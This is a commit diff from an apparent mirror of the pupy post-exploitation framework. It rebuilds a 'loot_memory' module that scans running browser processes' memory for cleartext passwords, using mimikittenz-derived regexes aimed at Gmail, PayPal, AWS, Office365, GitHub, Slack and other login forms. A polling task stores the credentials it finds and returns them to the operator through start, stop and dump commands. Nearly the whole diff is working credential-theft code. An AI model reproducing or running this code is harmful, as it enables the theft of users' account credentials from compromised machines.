mirror of https://github.com/n1nj4sec/pupy.git
loot_memory rebuild using the hasmon module
This commit is contained in:
parent
7a4513e002
commit
8d2b071684
|
@ -6,19 +6,37 @@ __class_name__="LootMemory"
|
||||||
|
|
||||||
@config(cat="creds", compat=["windows", "linux"])
|
@config(cat="creds", compat=["windows", "linux"])
|
||||||
class LootMemory(PupyModule):
|
class LootMemory(PupyModule):
|
||||||
"""
|
'''
|
||||||
crawl processes memory and look for cleartext credentials
|
Crawl processes memory and look for cleartext credentials
|
||||||
"""
|
'''
|
||||||
dependencies=['memorpy', 'loot_memory']
|
unique_instance = True
|
||||||
|
dependencies = ['memorpy', 'loot_memory']
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def init_argparse(cls):
|
def init_argparse(cls):
|
||||||
cls.arg_parser = PupyArgumentParser(prog='loot_memory', description=cls.__doc__)
|
cls.arg_parser = PupyArgumentParser(prog='loot_memory', description=cls.__doc__)
|
||||||
|
cls.arg_parser.add_argument('-p', '--poll', default=20, type=int, help='Poll interval (seconds)')
|
||||||
|
cls.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])
|
||||||
|
|
||||||
def run(self, args):
|
def run(self, args):
|
||||||
with redirected_stdio(self):
|
start = self.client.remote('loot_memory', 'start')
|
||||||
loot=self.client.conn.modules["loot_memory"].dump_browser_passwords()
|
stop = self.client.remote('loot_memory', 'stop', False)
|
||||||
for browser, dic in loot.iteritems():
|
dump = self.client.remote('loot_memory', 'dump')
|
||||||
self.info("%s crawled :"%browser)
|
|
||||||
for i, passwords in dic.iteritems():
|
if args.action == 'start':
|
||||||
self.success("%s:\n\t%s"%(i, '\n\t'.join(passwords)))
|
ok = start(poll=args.poll)
|
||||||
|
if ok:
|
||||||
|
self.success('PwdMon has been started')
|
||||||
|
else:
|
||||||
|
self.error('PwdMon has not been started')
|
||||||
|
|
||||||
|
elif args.action == 'dump':
|
||||||
|
results = dump()
|
||||||
|
if results is None:
|
||||||
|
self.error('PwdMon is not started')
|
||||||
|
else:
|
||||||
|
for proc, service, pwd in results:
|
||||||
|
self.success('[{}][{}]{}'.format(proc, service, pwd))
|
||||||
|
|
||||||
|
elif args.action == 'stop':
|
||||||
|
stop()
|
||||||
|
|
|
@ -7,75 +7,119 @@ This script uses memorpy to dumps cleartext passwords from browser's memory
|
||||||
It has been tested on both windows 10 and ubuntu 16.04
|
It has been tested on both windows 10 and ubuntu 16.04
|
||||||
The regex have been taken from the mimikittenz https://github.com/putterpanda/mimikittenz
|
The regex have been taken from the mimikittenz https://github.com/putterpanda/mimikittenz
|
||||||
"""
|
"""
|
||||||
|
import psutil
|
||||||
|
import pupy
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
from memorpy import MemWorker, ProcessException
|
from memorpy import MemWorker, ProcessException
|
||||||
|
|
||||||
import psutil
|
|
||||||
import sys
|
|
||||||
|
|
||||||
#from https://github.com/putterpanda/mimikittenz
|
def start(poll=20):
|
||||||
mimikittenz_regex=[
|
if pupy.manager.active(PwdMon):
|
||||||
("Gmail","&Email=.{1,99}?&Passwd=.{1,99}?&PersistentCookie="),
|
return False
|
||||||
("Dropbox","login_email=.{1,99}&login_password=.{1,99}&"),
|
|
||||||
("SalesForce","&display=page&username=.{1,32}&pw=.{1,16}&Login="),
|
try:
|
||||||
("Office365","login=.{1,32}&passwd=.{1,22}&PPSX="),
|
pupy.manager.create(
|
||||||
("MicrosoftOneDrive","login=.{1,42}&passwd=.{1,22}&type=.{1,2}&PPFT="),
|
PwdMon
|
||||||
("PayPal","login_email=.{1,48}&login_password=.{1,16}&submit=Log\+In&browser_name"),
|
)
|
||||||
("awsWebServices","&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1="),
|
except:
|
||||||
("OutlookWeb","&username=.{1,48}&password=.{1,48}&passwordText"),
|
return False
|
||||||
("Slack","&crumb=.{1,70}&email=.{1,50}&password=.{1,48}"),
|
|
||||||
("CitrixOnline","emailAddress=.{1,50}&password=.{1,50}&submit"),
|
return True
|
||||||
("Xero ","fragment=&userName=.{1,32}&password=.{1,22}&__RequestVerificationToken="),
|
|
||||||
("MYOB","UserName=.{1,50}&Password=.{1,50}&RememberMe="),
|
def dump():
|
||||||
("JuniperSSLVPN","tz_offset=-.{1,6}&username=.{1,22}&password=.{1,22}&realm=.{1,22}&btnSubmit="),
|
mon = pupy.manager.get(PwdMon)
|
||||||
("Twitter","username_or_email%5D=.{1,42}&session%5Bpassword%5D=.{1,22}&remember_me="),
|
if mon:
|
||||||
("Facebook","lsd=.{1,10}&email=.{1,42}&pass=.{1,22}&(?:default_)?persistent="),
|
return mon.results
|
||||||
("LinkedIN","session_key=.{1,50}&session_password=.{1,50}&isJsEnabled"),
|
|
||||||
("Malwr","&username=.{1,32}&password=.{1,22}&next="),
|
def stop():
|
||||||
("VirusTotal","password=.{1,22}&username=.{1,42}&next=%2Fen%2F&response_format=json"),
|
mon = pupy.manager.get(PwdMon)
|
||||||
("AnubisLabs","username=.{1,42}&password=.{1,22}&login=login"),
|
if mon:
|
||||||
("CitrixNetScaler","login=.{1,22}&passwd=.{1,42}"),
|
pupy.manager.stop(PwdMon)
|
||||||
("RDPWeb","DomainUserName=.{1,52}&UserPass=.{1,42}&MachineType"),
|
return mon.results
|
||||||
("JIRA","username=.{1,50}&password=.{1,50}&rememberMe"),
|
|
||||||
("Redmine","username=.{1,50}&password=.{1,50}&login=Login"),
|
|
||||||
("Github","%3D%3D&login=.{1,50}&password=.{1,50}"),
|
class PwdMon(pupy.Task):
|
||||||
("BugZilla","Bugzilla_login=.{1,50}&Bugzilla_password=.{1,50}"),
|
def __init__(self, manager, poll=60):
|
||||||
("Zendesk","user%5Bemail%5D=.{1,50}&user%5Bpassword%5D=.{1,50}"),
|
super(PwdMon, self).__init__(manager)
|
||||||
("Cpanel","user=.{1,50}&pass=.{1,50}"),
|
self.duplicates = set()
|
||||||
]
|
self.poll = poll
|
||||||
def dump_browser_passwords():
|
|
||||||
# start_time=time.time()
|
if sys.platform == "win32":
|
||||||
loot={}
|
self.browser_list = ["iexplore.exe", "firefox.exe", "chrome.exe", "opera.exe", "MicrosoftEdge.exe", "microsoftedgecp.exe"]
|
||||||
if sys.platform=="win32":
|
else:
|
||||||
browser_list=["iexplore.exe", "firefox.exe", "chrome.exe", "opera.exe", "MicrosoftEdge.exe", "microsoftedgecp.exe"]
|
# self.browser_list = ["firefox", "iceweasel", "chromium", "chrome"]
|
||||||
else:
|
self.browser_list = ["firefox"]
|
||||||
browser_list=["firefox", "iceweasel", "chromium", "chrome"]
|
|
||||||
for proc in psutil.process_iter():
|
# from https://github.com/putterpanda/mimikittenz
|
||||||
try:
|
self.mimikittenz_regex = [
|
||||||
if proc.name().lower() in [x.lower() for x in browser_list]:
|
("Google","identifier=.{1,99}&continue=.{1,99}&password=.{1,99}&"),
|
||||||
browser=proc.name()
|
("Gmail","&Email=.{1,99}?&Passwd=.{1,99}?&PersistentCookie="),
|
||||||
print "process found: %s"%browser
|
("Dropbox","login_email=.{1,99}&login_password=.{1,99}&"),
|
||||||
|
("SalesForce","&display=page&username=.{1,32}&pw=.{1,16}&Login="),
|
||||||
|
("Office365","login=.{1,32}&passwd=.{1,22}&PPSX="),
|
||||||
|
("MicrosoftOneDrive","login=.{1,42}&passwd=.{1,22}&type=.{1,2}&PPFT="),
|
||||||
|
("PayPal","login_email=.{1,48}&login_password=.{1,16}&submit=Log\+In&browser_name"),
|
||||||
|
("awsWebServices","&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1="),
|
||||||
|
("OutlookWeb","&username=.{1,48}&password=.{1,48}&passwordText"),
|
||||||
|
("Slack","&crumb=.{1,70}&email=.{1,50}&password=.{1,48}"),
|
||||||
|
("CitrixOnline","emailAddress=.{1,50}&password=.{1,50}&submit"),
|
||||||
|
("Xero ","fragment=&userName=.{1,32}&password=.{1,22}&__RequestVerificationToken="),
|
||||||
|
("MYOB","UserName=.{1,50}&Password=.{1,50}&RememberMe="),
|
||||||
|
("JuniperSSLVPN","tz_offset=-.{1,6}&username=.{1,22}&password=.{1,22}&realm=.{1,22}&btnSubmit="),
|
||||||
|
("Twitter","username_or_email%5D=.{1,42}&session%5Bpassword%5D=.{1,22}&remember_me="),
|
||||||
|
("Facebook","lsd=.{1,10}&email=.{1,42}&pass=.{1,22}&(?:default_)?persistent="),
|
||||||
|
("LinkedIN","session_key=.{1,50}&session_password=.{1,50}&isJsEnabled"),
|
||||||
|
("Malwr","&username=.{1,32}&password=.{1,22}&next="),
|
||||||
|
("VirusTotal","password=.{1,22}&username=.{1,42}&next=%2Fen%2F&response_format=json"),
|
||||||
|
("AnubisLabs","username=.{1,42}&password=.{1,22}&login=login"),
|
||||||
|
("CitrixNetScaler","login=.{1,22}&passwd=.{1,42}"),
|
||||||
|
("RDPWeb","DomainUserName=.{1,52}&UserPass=.{1,42}&MachineType"),
|
||||||
|
("JIRA","username=.{1,50}&password=.{1,50}&rememberMe"),
|
||||||
|
("Redmine","username=.{1,50}&password=.{1,50}&login=Login"),
|
||||||
|
("Github","%3D%3D&login=.{1,50}&password=.{1,50}"),
|
||||||
|
("BugZilla","Bugzilla_login=.{1,50}&Bugzilla_password=.{1,50}"),
|
||||||
|
("Zendesk","user%5Bemail%5D=.{1,50}&user%5Bpassword%5D=.{1,50}"),
|
||||||
|
("Cpanel","user=.{1,50}&pass=.{1,50}"),
|
||||||
|
]
|
||||||
|
|
||||||
|
def dump_browser_passwords(self):
|
||||||
|
|
||||||
|
for proc in psutil.process_iter():
|
||||||
|
if proc.name().lower() in [x.lower() for x in self.browser_list]:
|
||||||
try:
|
try:
|
||||||
mw=MemWorker(pid=proc.pid)
|
mw = MemWorker(pid=proc.pid)
|
||||||
except ProcessException as e:
|
except ProcessException as e:
|
||||||
print e
|
|
||||||
continue
|
continue
|
||||||
loot[browser]={} # browser found
|
|
||||||
for service, regex in mimikittenz_regex:
|
|
||||||
for x in mw.mem_search(regex, ftype='re'):
|
|
||||||
try:
|
|
||||||
passwd=x.read(type="string", maxlen=100, errors='ignore')
|
|
||||||
if service not in loot[browser]:
|
|
||||||
loot[browser]={service: [passwd]}
|
|
||||||
else:
|
|
||||||
loot[browser][service].append(passwd)
|
|
||||||
except Exception as e:
|
|
||||||
print e
|
|
||||||
pass
|
|
||||||
except Exception as e:
|
|
||||||
print e
|
|
||||||
#print "All passwords dumped in %ss"%(time.time()-start_time)
|
|
||||||
return loot
|
|
||||||
|
|
||||||
if __name__=="__main__":
|
for service, regex in self.mimikittenz_regex:
|
||||||
print dump_browser_passwords()
|
try:
|
||||||
|
for x in mw.mem_search(regex, ftype='re'):
|
||||||
|
passwd = None
|
||||||
|
if type(x) == tuple:
|
||||||
|
for i in x:
|
||||||
|
try:
|
||||||
|
passwd = i.read(type="string", maxlen=100, errors='ignore')
|
||||||
|
except Exception as e:
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
passwd = x.read(type="string", maxlen=100, errors='ignore')
|
||||||
|
except Exception as e:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if passwd:
|
||||||
|
result = (proc.name(), service, passwd)
|
||||||
|
if result not in self.duplicates:
|
||||||
|
self.duplicates.add(result)
|
||||||
|
yield result
|
||||||
|
except Exception as e:
|
||||||
|
continue
|
||||||
|
|
||||||
|
def task(self):
|
||||||
|
while self.active:
|
||||||
|
for proc, service, pwd in self.dump_browser_passwords():
|
||||||
|
self.append((proc, service, pwd))
|
||||||
|
|
||||||
|
time.sleep(self.poll)
|
||||||
|
|
Loading…
Reference in New Issue